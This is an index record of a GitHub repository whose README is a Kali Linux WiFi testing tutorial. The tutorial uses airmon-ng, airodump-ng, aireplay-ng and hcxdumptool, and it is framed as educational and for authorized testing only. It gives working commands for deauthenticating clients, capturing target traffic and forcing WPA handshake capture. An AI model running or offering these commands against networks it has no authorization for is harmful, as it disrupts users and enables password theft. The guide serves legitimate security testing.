{"id":13908734,"url":"https://github.com/sadatnazarli/WifiAttack","last_synced_at":"2025-07-18T08:31:14.832Z","repository":{"id":227422414,"uuid":"768268137","full_name":"sadatnazarli/WifiAttack","owner":"sadatnazarli","description":"Educational WiFi Monitoring and Manipulation Commands using airmon-ng in Kali Linux","archived":false,"fork":false,"pushed_at":"2025-05-21T12:47:02.000Z","size":13,"stargazers_count":6,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-07-13T17:54:58.386Z","etag":null,"topics":["kali-linux","linux","wifi-hacking","wifi-password"],"latest_commit_sha":null,"homepage":"","language":null,"has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/sadatnazarli.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null}},"created_at":"2024-03-06T19:18:48.000Z","updated_at":"2025-05-21T17:52:21.000Z","dependencies_parsed_at":"2024-03-13T09:28:29.694Z","dependency_job_id":"c2bcb8d5-48d0-4613-b618-c72e34f112a6","html_url":"https://github.com/sadatnazarli/WifiAttack","commit_stats":null,"previous_names":["sadatnazarli/wifiattack","dvecy/wifiattack"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/sadatnazarli/WifiAttack","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/sadatnazarli%2FWifiAttack","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/sadatnazarli%2FWifiAttack/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/sadatnazarli%2FWifiAttack/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/sadatnazarli%2FWifiAttack/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/sadatnazarli","download_url":"https://codeload.github.com/sadatnazarli/WifiAttack/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/sadatnazarli%2FWifiAttack/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":265728814,"owners_count":23818729,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["kali-linux","linux","wifi-hacking","wifi-password"],"created_at":"2024-08-06T23:02:56.937Z","updated_at":"2025-07-18T08:31:14.791Z","avatar_url":"https://github.com/sadatnazarli.png","language":null,"funding_links":[],"categories":["HarmonyOS"],"sub_categories":["Windows Manager"],"readme":"# WiFi Security Testing Guide\n\nThis repository contains documentation for educational WiFi security testing using Kali Linux. This guide is strictly for **educational purposes** and authorized security testing only.\n\n\u003e **⚠️ IMPORTANT:** Unauthorized network penetration is illegal in most jurisdictions. Always obtain proper written authorization before performing any security testing. Use these techniques only on networks you own or have explicit permission to test.\n\n## Prerequisites\n\n- Kali Linux (2023.1 or newer)\n- Compatible wireless adapter with monitor mode support\n- Basic understanding of networking concepts\n- Legal authorization to test the target network\n\n## Setup and Discovery\n\n### Check Network Interfaces\n\nFirst, identify your wireless interfaces:\n\n```bash\n# Show all network interfaces\nip a\n\n# Alternative for network interface details\niw dev\n```\n\n### Manage Wireless Services\n\nBefore starting, ensure no conflicting services are running:\n\n```bash\n# Stop potentially interfering services\nsudo systemctl stop NetworkManager\nsudo systemctl stop wpa_supplicant\n\n# To restore normal networking after testing\n# sudo systemctl start NetworkManager\n# sudo systemctl start wpa_supplicant\n```\n\n## Monitor Mode and Network Discovery\n\n### Enable Monitor Mode\n\nUsing Airmon-ng (traditional method):\n\n```bash\n# Kill processes that might interfere\nsudo airmon-ng check kill\n\n# Start monitor mode\nsudo airmon-ng start \u003cinterface\u003e\n```\n\nUsing iw (modern alternative):\n\n```bash\n# Set interface down\nsudo ip link set \u003cinterface\u003e down\n\n# Enable monitor mode\nsudo iw \u003cinterface\u003e set monitor control\n\n# Bring interface back up\nsudo ip link set \u003cinterface\u003e up\n```\n\n### Scan for WiFi Networks\n\n```bash\n# Basic scan for nearby networks\nsudo airodump-ng \u003cmonitor_interface\u003e\n\n# For a more modern approach with extended information\nsudo airodump-ng \u003cmonitor_interface\u003e --band abg --wps --manufacturer\n```\n\n### Target Network Analysis\n\nTo focus on a specific network and collect more detailed information:\n\n```bash\n# Focus on specific network and save capture\nsudo airodump-ng --channel \u003cchannel\u003e --bssid \u003cBSSID\u003e --write \u003ccapture_filename\u003e \u003cmonitor_interface\u003e\n```\n\n## Client Discovery and Traffic Analysis\n\n### Identify Connected Clients\n\n```bash\n# Shows devices connected to the selected WiFi network\nsudo airodump-ng --channel \u003cchannel\u003e --bssid \u003cBSSID\u003e \u003cmonitor_interface\u003e\n```\n\n### Packet Capture and Analysis\n\n```bash\n# Capture traffic in pcap format for later analysis\nsudo airodump-ng --channel \u003cchannel\u003e --bssid \u003cBSSID\u003e --output-format pcap --write \u003cfilename\u003e \u003cmonitor_interface\u003e\n\n# Analyze captured packets\nwireshark \u003cfilename\u003e-01.cap\n```\n\n## Security Testing Techniques\n\n### Client Deauthentication Test\n\nThis technique tests how a network handles disconnection events:\n\n```bash\n# Broadcast deauthentication (all clients)\nsudo aireplay-ng --deauth \u003cnum_packets\u003e -a \u003cAP_BSSID\u003e \u003cmonitor_interface\u003e\n\n# Targeted deauthentication (specific client)\nsudo aireplay-ng --deauth \u003cnum_packets\u003e -a \u003cAP_BSSID\u003e -c \u003cclient_MAC\u003e \u003cmonitor_interface\u003e\n```\n\n### WPA Handshake Capture\n\nCapturing the WPA handshake for security analysis:\n\n```bash\n# Start capturing on the target network\nsudo airodump-ng --channel \u003cchannel\u003e --bssid \u003cBSSID\u003e --write \u003chandshake_file\u003e \u003cmonitor_interface\u003e\n\n# In another terminal, send deauth to force reconnection and capture handshake\nsudo aireplay-ng --deauth 1 -a \u003cBSSID\u003e \u003cmonitor_interface\u003e\n```\n\n### Modern WPA3 Security Testing\n\n```bash\n# Check if target network supports WPA3\nsudo airodump-ng \u003cmonitor_interface\u003e | grep -i WPA3\n\n# Attempt to capture SAE handshakes\nsudo hcxdumptool -i \u003cinterface\u003e -o \u003coutput_file\u003e.pcapng --enable_status=1\n```\n\n## Advanced Analysis Tools\n\n### WiFi Signal Quality Testing\n\n```bash\n# Install Wavemon (if not already installed)\nsudo apt update \u0026\u0026 sudo apt install wavemon\n\n# Run signal monitoring tool\nwavemon\n```\n\n### Network Profile Analysis\n\n```bash\n# Install Kismet (if not already installed)\nsudo apt update \u0026\u0026 sudo apt install kismet\n\n# Run Kismet server\nsudo kismet -c \u003cinterface\u003e\n```\n\n## Cleanup\n\nAlways properly disable monitor mode and restore normal functioning when finished:\n\n```bash\n# Using airmon-ng\nsudo airmon-ng stop \u003cmonitor_interface\u003e\n\n# Manual alternative\nsudo ip link set \u003cinterface\u003e down\nsudo iw \u003cinterface\u003e set type managed\nsudo ip link set \u003cinterface\u003e up\n\n# Restart network services\nsudo systemctl start NetworkManager\nsudo systemctl start wpa_supplicant\n```\n\n## Additional Security Considerations\n\n- **MAC Address Randomization**: Modern devices use MAC randomization to enhance privacy. This can affect client tracking.\n- **Enterprise Security**: WPA/WPA2/WPA3-Enterprise environments require different testing approaches.\n- **IoT Devices**: Consider the presence of IoT devices which may have unique security characteristics.\n\n## Legal and Ethical Reminders\n\n- Obtain written permission before any testing\n- Document scope and methods of testing\n- Report findings responsibly to network owners\n- Never attempt to access or exfiltrate data\n- Follow responsible disclosure procedures for any vulnerabilities identified\n\n## Further Learning Resources\n\n- [NIST SP 800-153](https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-153.pdf) - Guidelines for Securing Wireless Local Area Networks\n- [Aircrack-ng Documentation](https://www.aircrack-ng.org/documentation.html)\n- [Kali Linux Wireless Penetration Testing](https://www.kali.org/docs/tutorials/)\n- [WiFi Security Best Practices](https://csrc.nist.gov/publications/detail/sp/800-97/final)\n\n---\n\nThis guide is maintained for educational purposes only. Contributors are not responsible for misuse of the information provided.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fsadatnazarli%2FWifiAttack","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fsadatnazarli%2FWifiAttack","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fsadatnazarli%2FWifiAttack/lists"}